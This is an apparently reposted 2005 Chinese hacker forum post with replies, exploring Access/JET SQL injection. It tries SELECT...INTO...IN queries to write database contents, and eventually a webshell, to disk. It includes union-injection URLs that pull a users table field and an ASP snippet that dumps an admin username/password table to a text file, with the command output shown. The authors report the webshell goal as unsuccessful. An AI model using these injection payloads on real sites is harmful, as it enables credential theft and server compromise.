对ACCESS导出SHELL的研究 kevin1986

今天上化学课睡觉的时候( 汗......)做梦,梦到自己渗透一台MAGIC=OFF的PHP注入点,然后开心的口水都流下来了(.....睡的太那个了),突然醒过来,马上在纸上写下做梦梦到的思路:利用ACCESS导出WEBSHELL......难道不是很绝妙吗?

于是晚上到网上查了查资料,发现有几种导出数据库的研究
程序代码:
SELECT * into [mytest.txt] IN 'd:/' 'text;' FROM mydata

|导出成TXT文件.成功
程序代码:
select * into [aaa] in 'd:/' 'dbase IV;' from mydata

|导出成DBF文件,也成功.
但是就是无法导出成ASP或者其他后缀的文件,的确有点怪异,个人认为是在'text;'和'dbase IV'这样的类型中取选的。所以我在ODBC数据源中查了查,好象也没有自定义类型的,很郁闷.....
没什么办法,去问了一下SuperHei....他说他也没研究过,嘿嘿,还是新思路啊..看来我要多研究一下.
.不久我在CHINAASPPRO查到了一篇文章里面说可以这样导出数据库,也就是BACKUP一部分数据,但是我在老兵的SQL数据库管理器中执行出错,不清楚原因.但是仔细看了一下是将C:/TEMP.MDB导入Customers,也不算什么导出.哎.运气不顺..
程序代码:
INSERT INTO Customers IN 'C:/TEMP.MDB' SELECT * FROM [New Customers]


记得很早以前我看到过一篇文章就是有人将数据库文件导成任意文件,如果这样的话就能得到SHELL啦.但是我还是没有成功,如果谁成功了加我QQ一下,我们一起讨论.
9817500

其实如果可以的话里哟还是简单的,比如这样一个注入点
http://www.www.com/a.asp?id=1
我们可以这样改
www.www.com/a.asp?id=-1 union select 1,2,3,4,5,said,7,8,9 from users where id=1
这样就得到了said文件的内容,然后我们可以这样导:比如导成TXT文件
www.www.com/a.asp?id=-1 union select 1,2,3,4,5,said,7,8,9 from users where id=1 into [hackedbykevin.txt] IN 'E:/' 'text;' FROM users where id=1
这样理论上就生成了e:/hackedbykevin.txt
但是我在测试的时候发生了很郁闷的事情,我也不知道为什么....
引用内容:

Microsoft JET Database Engine 错误 '80004005' 

动作查询不能作为行的来源。 

/info/adm2.asp,行7 

时间很晚了.我也没研究下去....还是给大家研究了.黑客精神就是共享嘛.呵呵
 sniper 于 2005-02-11 01:46 AM 发表评论: 
union的时候在后面使用into是行不通滴,我以前测试过

 kevin1986 于 2005-02-09 06:48 PM 发表评论: 
Union的确是不行的。不过某次我在弄一个LeadBBS的时候用他里面的执行SQL语句成了一次,但是也没用到Union。晚上和你继续讨论吧。最近很想去弄弄asp+mysql的系统。。。发挥一下4ngel的东西。叫小A也来

 superhei 于 2005-02-09 05:29 PM 发表评论: 
xixi 上次没时间去测试,今天测试了下
<%
Set Conn = Server.CreateObject("ADODB.Connection") 
dsn="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("q.mdb")
Set Rs = Server.CreateObject("ADODB.Recordset") 
Conn.Open dsn 
SQL = "SELECT * into [mytest112.txt] IN 'c:/' 'text;'  FROM admin;"
rs.open sql,conn 
if rs.eof and rs.bof then 
' Access Denied 
else 
' Access Allowed 
end if
rs.close
set rs=nothing
'关闭连接
conn.close
set conn=nothing
response.write "sql为:" &sql

%> 
这样是可以成功的 
C:/>dir mytest*.txt
 驱动器 C 中的卷是 AAAAAAA
 卷的序列号是 3CEE-A8A9

 C:/ 的目录

2005-02-09  17:27                   46 mytest112.txt
               1 个文件             46 字节
               0 个目录    885,846,016 可用字节

C:/>type mytest112.txt
"id","f_name","f_password"
1,"admin","pass"

因为语句 SELECT * into [mytest112.txt] IN 'c:/' 'text;'  FROM admin;因为 into [mytest112.txt] IN 'c:/' 'text;'的位置的原因 在注射中 没办法导出本语句的查询内容(select * from admin where id=$id)

如果用union的话 就会出现 上面你测试的那样的错误 :( 不过即使可以用没什么大的意义 因为如果不可以导出
asp等的话 只导出数据也没必要 因为union 可以直接替换出来 :)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值